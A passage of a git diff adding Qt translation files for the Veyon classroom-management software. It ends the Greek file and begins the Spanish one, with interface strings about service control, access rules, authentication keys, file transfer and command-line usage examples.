εικονιδίου γραμμής κατάστασης + + + Start service + Εκκίνηση υπηρεσίας + + + Stopped + Τερματισμένη + + + Stop service + Τερματισμός υπηρεσίας + + + State: + Κατάσταση: + + + Enable SAS generation by software (Ctrl+Alt+Del) + + + + Network + Δίκτυο + + + Demo server port + + + + Enable firewall exception + + + + Allow connections from localhost only + + + + Internal VNC server port + + + + VNC server + + + + Plugin: + + + + Restart %1 Service + + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + + + + Running + Εκτελείται + + + Feature manager port + + + + Primary service port + + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + + + + Multi session support (experimental) + + + + Show notification on remote connection + + + + Show notification on failed authentication attempts + + + + + ServiceControl + + Starting service %1 + + + + Stopping service %1 + + + + Registering service %1 + + + + Unregistering service %1 + + + + Service control + + + + + ServiceControlPlugin + + Service is running + Η υπηρεσία εκτελείται + + + Service is not running + Η υπηρεσία δεν εκτελείται + + + Configure and control Veyon service + + + + Register Veyon Service + + + + Unregister Veyon Service + + + + Start Veyon Service + Εκκίνηση της υπηρεσίας Veyon + + + Stop Veyon Service + Τερματισμός της υπηρεσίας Veyon + + + Restart Veyon Service + Επανεκκίνηση της υπηρεσίας Veyon + + + Query status of Veyon Service + + + + Commands for configuring and controlling Veyon Service + + + + + ShellCommandLinePlugin + + Run command file + + + + File "%1" does not exist! + + + + Interactive shell and script execution for Veyon Control + + + + Commands for shell functionalities + + + + + SystemTrayIcon + + System tray icon + Εικονίδιο γραμμής κατάστασης + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + + + + Default (system user groups) + + + + + TextMessageDialog + + Send text message + Αποστολή μηνύματος + + + Use the field below to type your message which will be sent to all selected users. + + + + + TextMessageFeaturePlugin + + Text message + Μήνυμα + + + Use this function to send a text message to all users e.g. to assign them new tasks. + Μπορείτε να στείλετε ένα μήνυμα σε όλους του χρήστες. Για παράδειγμα για να τους αναθέσετε μια εργασία. + + + Message from teacher + Μήνυμα από τον εκπαιδευτικό + + + Send a message to a user + Αποστολή ενός μηνύματος σε ένα χρήστη + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + + + + Poll full screen (leave this enabled per default) + + + + Low accuracy (turbo mode) + + + + Builtin UltraVNC server configuration + + + + Enable multi monitor support + + + + Enable Desktop Duplication Engine on Windows 8 and newer + + + + + UserConfig + + No write access + + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + + + + + UserSessionControl + + User session control + + + + Click this button to logout users from all computers. + Πατήστε το κουμπί για να αποσυνδέσετε τους χρήστες από τους υπολογιστές. + + + Confirm user logout + Επιβεβαίωση της αποσύνδεσης χρήστη + + + Do you really want to logout the selected users? + Είστε σίγουρος/η ότι θέλετε να αποσυνδέσετε τους επιλεγμένους χρήστες; + + + Logout + + + + + VeyonCore + + [OK] + + + + [FAIL] + + + + Invalid command! + + + + Available commands: + Διαθέσιμες εντολές: + + + Invalid arguments given + + + + Not enough arguments given - use "%1 help" for more information + + + + Unknown result! + + + + Available modules: + + + + No module specified or module not found - available modules are: + + + + Plugin not licensed + + + + INFO + + + + ERROR + + + + licensed for + + + + + VeyonServiceControl + + Veyon Service + + + + + VncView + + Establishing connection to %1 ... + + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + + + + WindowsServiceControl: the service "%1" could not be installed. + + + + WindowsServiceControl: the service "%1" has been installed successfully. + + + + WindowsServiceControl: the service "%1" could not be uninstalled. + + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + + + + WindowsServiceControl: the start type of service "%1" could not be changed. + + + + WindowsServiceControl: service "%1" could not be found. + + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + + + + Custom x11vnc parameters: + + + + Do not use X Damage extension + + + + \ No newline at end of file diff --git a/translations/es_ES.ts b/translations/es_ES.ts new file mode 100644 index 0000000..277b601 --- /dev/null +++ b/translations/es_ES.ts @@ -0,0 +1,3932 @@ + + + AboutDialog + + About + Acerca de + + + Translation + Traducción + + + License + Licencia + + + About Veyon + Acerca de Veyon + + + Contributors + Colaboradores + + + Version: + Versión: + + + Website: + Sitio web: + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + Traducción realizada por + +José Antonio Muñoz Jiménez <jamj2000 at gmail dot com> + +Si deseas mejorar la traducción actual, por favor, ¡contacta con un desarrollador de Veyon! + + + About %1 %2 + Acerca de %1 %2 + + + Support Veyon project with a donation + Apoyar al proyecto Veyon con una donación + + + + AccessControlPage + + Computer access control + Control de acceso al equipo + + + Grant access to every authenticated user (default) + Conceder acceso a cada usuario autenticado (predeterminado) + + + Test + Comprobar + + + Restrict access to members of certain user groups + Restringir el acceso a miembros de determinados grupos de usuarios + + + Process access control rules + Reglas de control de acceso al proceso + + + User groups authorized for computer access + Grupos de usuarios autorizados para acceso al equipo + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + Por favor, agregue los grupos cuyos miembros deben estar autorizados a acceder a los equipos de su red Veyon. + + + Authorized user groups + Grupos de usuarios autorizados + + + All groups + Todos los grupos + + + ... + ... + + + Access control rules + Reglas de control de acceso + + + Add access control rule + Añadir regla de control de acceso + + + Remove access control rule + Eliminar regla de control de acceso + + + Move selected rule down + Mover la regla seleccionada hacia abajo + + + Move selected rule up + Mover la regla seleccionada hacia arriba + + + Edit selected rule + Editar la regla seleccionada + + + Enter username + Introduzca nombre de usuario + + + Please enter a user login name whose access permissions to test: + Por favor, introduzca un nombre de usuario para comprobar los permisos de acceso: + + + Access allowed + Acceso permitido + + + The specified user is allowed to access computers with this configuration. + El usuario especificado puede acceder a los equipos con esta configuración. + + + Access denied + Acceso denegado + + + The specified user is not allowed to access computers with this configuration. + El usuario especificado no puede acceder a los equipos con esta configuración. + + + Enable usage of domain groups + Habilitar el uso de grupos de dominio + + + User groups backend: + Backend para grupos de usuarios: + + + Missing user groups backend + Falta backend para grupos de usuarios + + + No default user groups plugin was found. Please check your installation! + No se encontró el plugin por defecto para grupos de usuarios. ¡Por favor, compruebe la instalación! + + + + AccessControlRuleEditDialog + + Edit access control rule + Editar regla de control de acceso + + + General + General + + + enter a short name for the rule here + introduzca aquí un nombre corto para la regla + + + Rule name: + Nombre de regla: + + + enter a description for the rule here + introduzca aquí una descripción para la regla + + + Rule description: + Descripción de regla: + + + Invert all conditions ("is/has" interpreted as "is/has not") + Invertir todas las condiciones ("está/tiene" interpretado como "no está/no tiene") + + + Conditions + Condiciones + + + is member of group + es miembro del grupo + + + is located in room + se encuentra en el aula + + + Accessing computer is localhost + El computador de acceso es localhost + + + Accessing user is logged on user + El usuario de acceso ha iniciado sesión + + + Accessing user is already connected + El usuario de acceso ya está conectado + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + Si se activa más de una condición, cada condición se tiene que cumplir para hacer que la regla se aplique (AND lógico). Si sólo una de las condiciones múltiples se tiene que cumplir (OR lógico) cree varias reglas de control de acceso. + + + Action + Acción + + + Allow access + Permitir el acceso + + + Deny access + Denegar el acceso + + + Ask logged on user for permission + Solicitar permiso al usuario conectado + + + None (rule disabled) + Ninguno (regla deshabilitada) + + + Accessing user + Acceso al usuario + + + Accessing computer + Acceso al equipo + + + Local (logged on) user + Usuario local (conectado) + + + Local computer + Equipo local + + + Always process rule and ignore conditions + Siempre procesar reglas e ignorar condiciones + + + No user logged on + Ningún usuario ha iniciado sesión + + + Accessing computer is located in the same room as local computer + El acceso al equipo se encuentra en la misma habitación que el ordenador local + + + Accessing user has one or more groups in common with local (logged on) user + El acceso al usuario tiene uno o más grupos en común con el usuario local (conectado) + + + + AccessControlRulesTestDialog + + Access control rules test + Prueba de reglas de control de acceso + + + Accessing user: + Acceso al usuario: + + + Local computer: + Equipo local: + + + Accessing computer: + Acceso al equipo: + + + Please enter the following user and computer information in order to test the configured ruleset. + Introduzca la siguiente información de usuario y de equipo para probar el conjunto de reglas configurado. + + + Local user: + Usuario local: + + + Connected users: + Usuarios conectados: + + + The access in the given scenario is allowed. + Se permite el acceso en el escenario dado. + + + The access in the given scenario is denied. + El acceso en el escenario dado se deniega. + + + The access in the given scenario needs permission of the logged on user. + El acceso en el escenario dado necesita permiso del usuario conectado. + + + ERROR: Unknown action + ERROR: Acción desconocida + + + Test result + Resultado de la prueba + + + + AuthKeysConfigurationPage + + Authentication keys + Claves de autenticación + + + Introduction + Introducción + + + Key file directories + Directorios de claves + + + Public key file base directory + Directorio base para archivo de clave pública + + + Private key file base directory + Directorio base para archivo de clave privada + + + ... + ... + + + Available authentication keys + Claves de autenticación disponibles + + + Create key pair + Crear par de claves + + + Delete key + Borrar clave + + + Import key + Importar clave + + + Export key + Exportar clave + + + Set access group + Establecer el grupo de acceso + + + Key files (*.pem) + Archivos de clave (*.pem) + + + Authentication key name + Nombre de la clave de autenticación + + + Please enter the name of the user group or role for which to create an authentication key pair: + Introduzca el nombre del grupo de usuarios o rol para el cual crear un par de claves de autenticación: + + + Do you really want to delete authentication key "%1/%2"? + ¿Realmente desea eliminar la clave de autenticación "%1/%2"? + + + Please select a key to delete! + Por favor, ¡seleccione clave a eliminar! + + + Please enter the name of the user group or role for which to import the authentication key: + Introduzca el nombre del grupo de usuarios o rol para el cual importar la clave de autenticación: + + + Please select a key to export! + Por favor, ¡seleccione una clave a exportar! + + + Please select a user group which to grant access to key "%1": + Seleccione un grupo de usuarios al que otorgar acceso a la clave "%1": + + + Please select a key which to set the access group for! + ¡Seleccione una clave para configurar el grupo que tenga acceso! + + + Please perform the following steps to set up key file authentication: + Realice los siguientes pasos para configurar la autenticación de archivos de claves: + + + 1) Create a key pair on the master computer. + 1) Crea un par de llaves en la computadora maestra. + + + 2) Set an access group whose members should be allowed to access other computers. + 2) Establezca un grupo con acceso cuyos miembros deberían tener acceso a otras computadoras. + + + 3) Export the public key and import it on all client computers with the same name. + 3) Exporte la clave pública e impórtela en todas las computadoras cliente con el mismo nombre. + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + Consulte el <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Manual de Administrador de Veyon</a> para obtener más información. + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + Un par de claves de autenticación consta de dos claves criptográficas acopladas, una privada y otra pública. +Una clave privada permite a los usuarios de la computadora maestra acceder a las computadoras cliente. +Es importante que solo los usuarios autorizados tengan acceso de lectura al archivo de clave privada. +La clave pública se usa en las computadoras cliente para autenticar la solicitud de conexión entrante. + + + + AuthKeysManager + + Please check your permissions. + Por favor compruebe sus permisos. + + + Key name contains invalid characters! + ¡El nombre de la clave contiene caracteres inválidos! + + + Invalid key type specified! Please specify "%1" or "%2". + ¡Tipo de clave especificada no válida! Especifique "%1" o "%2". + + + Specified key does not exist! Please use the "list" command to list all installed keys. + ¡La clave especificada no existe! Utilice el comando "list" para enumerar todas las claves instaladas. + + + One or more key files already exist! Please delete them using the "delete" command. + ¡Uno o más archivos de claves ya existen! Por favor, elimínelos utilizando el comando "delete". + + + Creating new key pair for "%1" + Creando un nuevo par de claves para "%1" + + + Failed to create public or private key! + ¡No se ha podido crear la clave pública o privada! + + + Newly created key pair has been saved to "%1" and "%2". + El par de claves recién creadas se ha guardado en "%1" y "%2". + + + Could not remove key file "%1"! + ¡No se pudo eliminar el archivo de claves "%1"! + + + Could not remove key file directory "%1"! + ¡No se pudo eliminar el directorio de archivos de claves "%1"! + + + Failed to create directory for output file. + No se pudo crear el directorio para el archivo de salida. + + + File "%1" already exists. + El archivo "%1" ya existe. + + + Failed to write output file. + No se pudo escribir el archivo de salida. + + + Key "%1/%2" has been exported to "%3" successfully. + Clave "%1/%2" se ha exportado a "%3" exitosamente. + + + Failed read input file. + No se pudo leer el archivo de entrada. + + + File "%1" does not contain a valid private key! + ¡Archivo "%1" no contiene una clave privada válida! + + + File "%1" does not contain a valid public key! + ¡Archivo "%1" no contiene una clave pública válida! + + + Failed to create directory for key file. + No se pudo crear el directorio para el archivo de clave. + + + Failed to write key file "%1". + No se pudo escribir el archivo de clave "%1". + + + Failed to set permissions for key file "%1"! + ¡No se pudieron establecer los permisos para el archivo de clave "%1"! + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + La clave "%1/%2" se ha importado correctamente. Verifique los permisos de archivo de "%3" para evitar accesos no autorizados. + + + Failed to convert private key to public key + No se pudo convertir la clave privada en clave pública + + + Failed to create directory for private key file "%1". + No se pudo crear el directorio para el archivo de clave privada "%1". + + + Failed to save private key in file "%1"! + ¡No se pudo guardar la clave privada en el archivo "%1"! + + + Failed to set permissions for private key file "%1"! + ¡No se pudieron establecer los permisos para el archivo de clave privada "%1"! + + + Failed to create directory for public key file "%1". + No se pudo crear el directorio para el archivo de clave pública "%1". + + + Failed to save public key in file "%1"! + ¡No se pudo guardar la clave pública en el archivo "%1"! + + + Failed to set permissions for public key file "%1"! + ¡No se pudieron establecer los permisos para el archivo de clave pública "%1"! + + + Failed to set owner of key file "%1" to "%2". + No se pudo establecer el propietario del archivo de clave "%1" a "%2". + + + Failed to set permissions for key file "%1". + Error al establecer los permisos para el archivo de clave "%1". + + + Key "%1" is now accessible by user group "%2". + La clave "%1" ahora es accesible por el grupo de usuarios "%2". + + + <N/A> + <N/A> + + + Failed to read key file. + Error al leer el archivo de clave. + + + + AuthKeysPlugin + + Create new authentication key pair + Crear un nuevo par de claves de autenticación + + + Delete authentication key + Eliminar clave de autenticación + + + List authentication keys + Listas de claves de autenticación + + + Import public or private key + Importar clave pública o privada + + + Export public or private key + Exportar clave pública o privada + + + Extract public key from existing private key + Extraer la clave pública de la clave privada existente + + + Set user group allowed to access a key + Establecer el grupo de usuarios al que se permite acceder a una clave + + + KEY + CLAVE + + + ACCESS GROUP + GRUPO DE ACCESO + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + Este comando ajusta los permisos de acceso a <KEY> de manera que solo el grupo de usuarios <ACCESS GROUP> tenga acceso de lectura a él. + + + NAME + NOMBRE + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + Este comando crea un nuevo par de claves de autenticación con nombre<NAME> y guarda la clave privada y pública en los directorios de clave configurados. + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + Este comando elimina la clave de autenticación <KEY> del directorio de claves configurado. Tenga en cuenta que una clave no se puede recuperar una vez eliminada. + + + FILE + ARCHIVO + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + Este comando exporta la clave de autenticación <KEY> a <FILE>. Si no se especifica <FILE>, se construirá un nombre a partir del nombre y tipo de <KEY>. + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + Este comando importa la clave de autenticación <KEY> desde <FILE>. Si no se especifica <FILE>, se construirá un nombre a partir del nombre y tipo de <KEY>. + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + Este comando enumera todas las claves de autenticación disponibles en el directorio de claves configurado. Si se especifica la opción "%1", se mostrará una tabla con los detalles de las claves. Es posible que falten algunos detalles si no se puede acceder a una clave, p. ej. debido a la falta de permisos de lectura. + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + Este comando extrae la clave pública asociada a la clave privada <KEY> y la guarda como la clave pública correspondiente. + + + Please specify the command to display help for! + Por favor, ¡especifique el comando sobre el cual mostrar ayuda! + + + TYPE + TIPO + + + PAIR ID + ID PAR + + + Command line support for managing authentication keys + Soporte de línea de comando para administrar claves de autenticación + + + Commands for managing authentication keys + Comandos para administrar claves de autenticación + + + + AuthKeysTableModel + + Name + Nombre + + + Type + Tipo + + + Access group + Grupo de acceso + + + Pair ID + ID del par + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + Aulas y equipos + + + Rooms + Aulas + + + Computers + Equipos + + + Name + Nombre + + + Host address/IP + Dirección de equipo/IP + + + MAC address + Dirección MAC + + + Add new room + Añadir nueva aula + + + Remove selected room + Eliminar aula seleccionada + + + Add new computer + Añadir nuevo equipo + + + Remove selected computer + Eliminar equipo seleccionado + + + New room + Nueva aula + + + New computer + Nuevo equipo + + + Builtin directory + Directorio incorporado + + + + BuiltinDirectoryPlugin + + Show help for specific command + Mostrar ayuda para un comando específico + + + Add a room or computer + Añadir aula o equipo + + + Clear all rooms and computers + Borrar todas las aulas y equipos + + + Dump all or individual rooms and computers + Vaciar todo o aulas y equipos individuales + + + List all rooms and computers + Listar todas las aulas y equipos + + + Remove a room or computer + Eliminar un aula o equipo + + + Import objects from given file + Importar objetos desde un archivo + + + Export objects to given file + Exportar objetos a un archivo + + + Invalid type specified. Valid values are "%1" or "%2". + Tipo inválido especificado. Los valores válidos son "%1" o "%2". + + + Type + Tipo + + + Name + Nombre + + + Host address + Dirección del equipo + + + MAC address + Dirección MAC + + + Specified object not found. + Objeto especificado no encontrado. + + + File "%1" does not exist! + ¡El archivo "%1" no existe! + + + Can't open file "%1" for reading! + ¡No se puede abrir el archivo "%1" para leer! + + + Unknown argument "%1". + Argumento "%1" desconocido. + + + Room "%1" + Aula "%1" + + + Computer "%1" (host address: "%2" MAC address: "%3") + Computador "%1" (dirección del equipo: "%2" Dirección MAC: "%3") + + + Unclassified object "%1" with ID "%2" + Objeto no clasificado "%1" con ID "%2" + + + None + Ninguno + + + Room + Aula + + + Computer + Equipo + + + Root + Raíz + + + Invalid + Inválido + + + Error while parsing line %1. + Error al analizar la línea %1. + + + Network object directory which stores objects in local configuration + Directorio de objetos de red que almacena objetos en configuración local + + + Builtin (computers and rooms in local configuration) + Incorporado (equipos y aulas en configuración local) + + + Commands for managing the builtin network object directory + Comandos para administrar el directorio de objetos de red incorporado + + + No format string or regular expression specified! + ¡No se especificó ninguna cadena de formato o expresión regular! + + + Can't open file "%1" for writing! + ¡No se puede abrir el archivo "%1" para escribir! + + + No format string specified! + ¡No se especificó una cadena de formato! + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + +USO + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Variables válidas: %type% %name% %host% %mac% %room% + +Ejemplos: + +* Exportar todos los objetos a un archivo CSV: + + %1 export objetos.csv format "%type%;%name%;%host%;%mac%" + +* Exportar todos los equipos en un aula a un archivo CSV: + + %1 export equipos.csv room "Aula 01" format "%name%;%host%;%mac%" + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + +USO + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Añade un objeto donde TYPE puede ser uno de "%2" o "%3". PARENT se puede especificar por nombre o UUID. + +Ejemplos: + +* Añadir un aula: + + %1 add room "Aula 01" + +* Añadir un equipo al aula "Aula 01": + + %1 add computer "Equipo 01" comp01.example.com 11:22:33:44:55:66 "Aula 01" + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + +USO + +%1 remove <OBJECT> + +Elimina el objeto especificado del directorio. OBJECT se puede especificar por nombre o UUID. Eliminar un aula también eliminará todos los equipos que estén dentro. + +Ejemplos: + +* Eliminar un equipo por nombre: + + %1 remove "Equipo 01" + +* Eliminar un objeto por UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + Object UUID + UUID de objeto + + + Parent UUID + UUID del principal + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + +USO + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Variables válidas: %type% %name% %host% %mac% %room% + +Ejemplos: + +* Importar un simple archivo CSV a una sola aula: + + %1 import computers.csv room "Aula 01" format "%name%;%host%;%mac%" + +* Importar archivo CSV con el nombre del aula en la primera columna: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Importar archivo de texto con pares clave/valor usando expresiones regulares: + + %1 import hostlist.txt room "Aula 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Importar datos con formato arbitrario: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + Servidor VNC (UltraVNC) incorporado + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + Servidor VNC (x11vnc) incorporado + + + + ComputerControlListModel + + Room: %1 + Aula: %1 + + + Host/IP address: %1 + Equipo/Dirección IP: %1 + + + Active features: %1 + Características activas: %1 + + + Online and connected + En línea y conectado + + + Establishing connection + Estableciendo conexión + + + Computer offline or switched off + El equipo está desconectado o apagado + + + Service unreachable or not running + Servicio inaccesible o no ejecutándose + + + Authentication failed or access denied + Error de autenticación o acceso denegado + + + Disconnected + Desconectado + + + No user logged on + Ningún usuario ha iniciado sesión + + + Logged on user: %1 + Usuario conectado: %1 + + + + ComputerControlServer + + %1 Service %2 at %3:%4 +  Servicio %1 %2 en %3:%4 + + + Authentication error + Error de autenticación + + + Remote access + Acceso remoto + + + User "%1" at host "%2" is now accessing this computer. + Usuario "%1" en el anfitrión "%2" ahora está accediendo a esta equipo. + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + ¡Usuario "%1" en el anfitrión "%2" ha intentado acceder a este equipo pero no se ha autenticado correctamente! + + + + ComputerManagementView + + Computer management + Gestión de equipos + + + Add room + Añadir aula + + + Save computer/user list + Guardar lista de equipos/usuarios + + + Select output filename + Seleccione nombre de archivo de salida + + + CSV files (*.csv) + Archivos CSV (*.csv) + + + File error + Error de archivo + + + Could not write the computer and users list to %1! Please check the file access permissions. + No se pudo escribir la lista de equipos y usuarios en %1. Por favor, compruebe los permisos de acceso al archivo. + + + Computer search + Búsqueda de equipos + + + + ComputerManager + + User + Usuario + + + Missing network object directory plugin + Falta el plugin para el directorio de objetos de red + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + No se encontró ningún plugin predeterminado para el directorio de objetos de red. Compruebe su instalación o configure un backend diferente para el directorio de objetos de red a través del Configurador de %1. + + + Computer name;Host name;User + Nombre de ordenador;Nombre de equipo;Usuario + + + Room detection failed + Detección de aula fallida + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + No se pudo determinar el aula a la que pertenece este equipo. Esto indica un problema con la configuración del sistema. Todas las aulas se mostrarán en la gestión de equipos en su lugar. + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + Especifique un archivo de configuración existente para importar. + + + Please specify a valid filename for the configuration export. + Especifique un nombre de archivo válido para la exportación de configuración. + + + Please specify a valid key. + Especifique una clave válida. + + + Specified key does not exist in current configuration! + ¡La clave especificada no existe en la configuración actual! + + + Please specify a valid value. + Especifique un valor válido. + + + Configure Veyon at command line + Configurar Veyon en la línea de comandos + + + Output file is not writable! + ¡El archivo de salida no puede escribirse! + + + Output directory is not writable! + ¡El directorio de salida no puede escribirse! + + + Configuration file is not readable! + ¡El archivo de configuración no puede leerse! + + + Clear system-wide Veyon configuration + Borrar la configuración de Veyon del sistema + + + List all configuration keys and values + Listar todas las claves y valores de la configuración + + + Import configuration from given file + Importar configuración de archivo + + + Export configuration to given file + Exportar la configuración a archivo + + + Read and output configuration value for given key + Leer y mostrar valor de configuración para una clave + + + Write given value to given configuration key + Escribir un valor a una clave de configuración + + + Unset (remove) given configuration key + Desactivar (quitar) la clave de configuración + + + Commands for managing the configuration of Veyon + Comandos para gestionar la configuración de Veyon + + + Upgrade and save configuration of program and plugins + Actualizar y guardar la configuración del programa y los complementos + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + No se pudo modificar la propiedad autoinicio del servicio %1. + + + Could not configure the firewall configuration for the %1 Server. + No se pudo establecer la configuración del cortafuegos para el Servidor %1. + + + Could not configure the firewall configuration for the %1 Worker. + No se pudo establecer la configuración del cortafuegos para el Worker %1. + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + No se pudo cambiar la configuración para la generación de SAS por software. ¡El envío de Ctrl+Alt+Del a través del control remoto no funcionará! + + + Configuration is not writable. Please check your permissions! + La configuración no es escribible. ¡Por favor revise sus permisos! + + + + DemoClient + + %1 Demo + Demo %1 + + + + DemoConfigurationPage + + Demo server + Servidor demo + + + Tunables + Ajustes + + + ms + ms + + + Key frame interval + Intervalo entre frames + + + Memory limit + Límite de memoria + + + Use multithreading (experimental) + Utilizar multithreading (experimental) + + + MB + MB + + + Update interval + Intervalo de actualización + + + s + s + + + + DemoFeaturePlugin + + Fullscreen demo + Demo a pantalla completa + + + Stop demo + Detener demo + + + Window demo + Demo en ventana + + + Give a demonstration by screen broadcasting + Dar una demostración por difusión de pantalla + + + Demo server + Servidor demo + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + En este modo, la pantalla se muestra en modo de pantalla completa en todos los equipos mientras los dispositivos de entrada de los usuarios están bloqueados. + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + En este modo, la pantalla se mostrará en una ventana de todos los ordenadores. Los usuarios pueden cambiar a otras ventanas según sea necesario. + + + + DesktopAccessDialog + + Desktop access dialog + Diálogo de acceso al escritorio + + + Confirm desktop access + Confirmar acceso a escritorio + + + Never for this session + Nunca para esta sesión + + + Always for this session + Siempre para esta sesión + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + El usuario %1 del equipo %2 quiere acceder al escritorio. ¿Deseas conceder acceso? + + + + DesktopServicesConfigurationPage + + Programs & websites + Programas y sitios web + + + Predefined programs + Programas predefinidos + + + Name + Nombre + + + Path + Ruta + + + Add new program + Añadir nuevo programa + + + Remove selected program + Eliminar el programa seleccionado + + + Predefined websites + Sitios web predefinidos + + + Remove selected website + Eliminar el sitio web seleccionado + + + URL + URL + + + New program + Nuevo programa + + + New website + Nuevo sitio web + + + + DesktopServicesFeaturePlugin + + Run program + Ejecutar programa + + + Open website + Abrir sitio web + + + Click this button to open a website on all computers. + Haga clic en este botón para abrir un sitio web en todos los equipos. + + + Please enter the URL of the website to open: + Por favor, introduzca la URL del sitio web a abrir: + + + Start programs and services in user desktop + Iniciar programas y servicios en el escritorio del usuario + + + Click this button to run a program on all computers. + Haga clic en este botón para ejecutar un programa en todos los equipos. + + + Run program "%1" + Ejecutar el programa "%1" + + + Custom program + Programa personalizado + + + Open website "%1" + Abrir sitio web "%1" + + + Custom website + Sitio web personalizado + + + + ExternalVncServer + + External VNC server + Servidor VNC externo + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + Configuración de servidor VNC externo + + + Port: + Puerto: + + + Password: + Contraseña: + + + + FeatureControl + + Feature control + Control de funciones + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + ¡No se pudo abrir el archivo "%1" para su lectura! ¡Por favor compruebe sus permisos! + + + + FileTransferDialog + + File transfer + Transferir archivo + + + Options + Opciones + + + Transfer only + Solo transferencia + + + Transfer and open file(s) with associated program + Transferir y abrir archivo/s con programa asociado + + + Transfer and open destination folder + Transferir y abrir carpeta de destino + + + Files + Archivos + + + Start + Iniciar + + + Overwrite existing files + Sobrescribir archivos existentes + + + + FileTransferPlugin + + File transfer + Transferir archivo + + + Click this button to transfer files from your computer to all computers. + Clic en este botón para transferir archivos desde su equipo a todos los equipos. + + + Select one or more files to transfer + Seleccione uno o más archivos para transferir + + + Transfer files to remote computer + Transferir archivos al equipo remoto + + + Received file "%1". + Archivo recibido "%1". + + + Could not receive file "%1" as it already exists. + No se pudo recibir el archivo "%1" porque ya existe. + + + Could not receive file "%1" as it could not be opened for writing! + ¡No se pudo recibir el archivo "%1" ya que no se pudo abrir para su escritura! + + + + GeneralConfigurationPage + + User interface + Interfaz de usuario + + + Language: + Idioma: + + + Use system language setting + Usar configuración de idioma del sistema + + + Veyon + Veyon + + + Logging + Registro + + + Log file directory + Directorio de registro + + + ... + ... + + 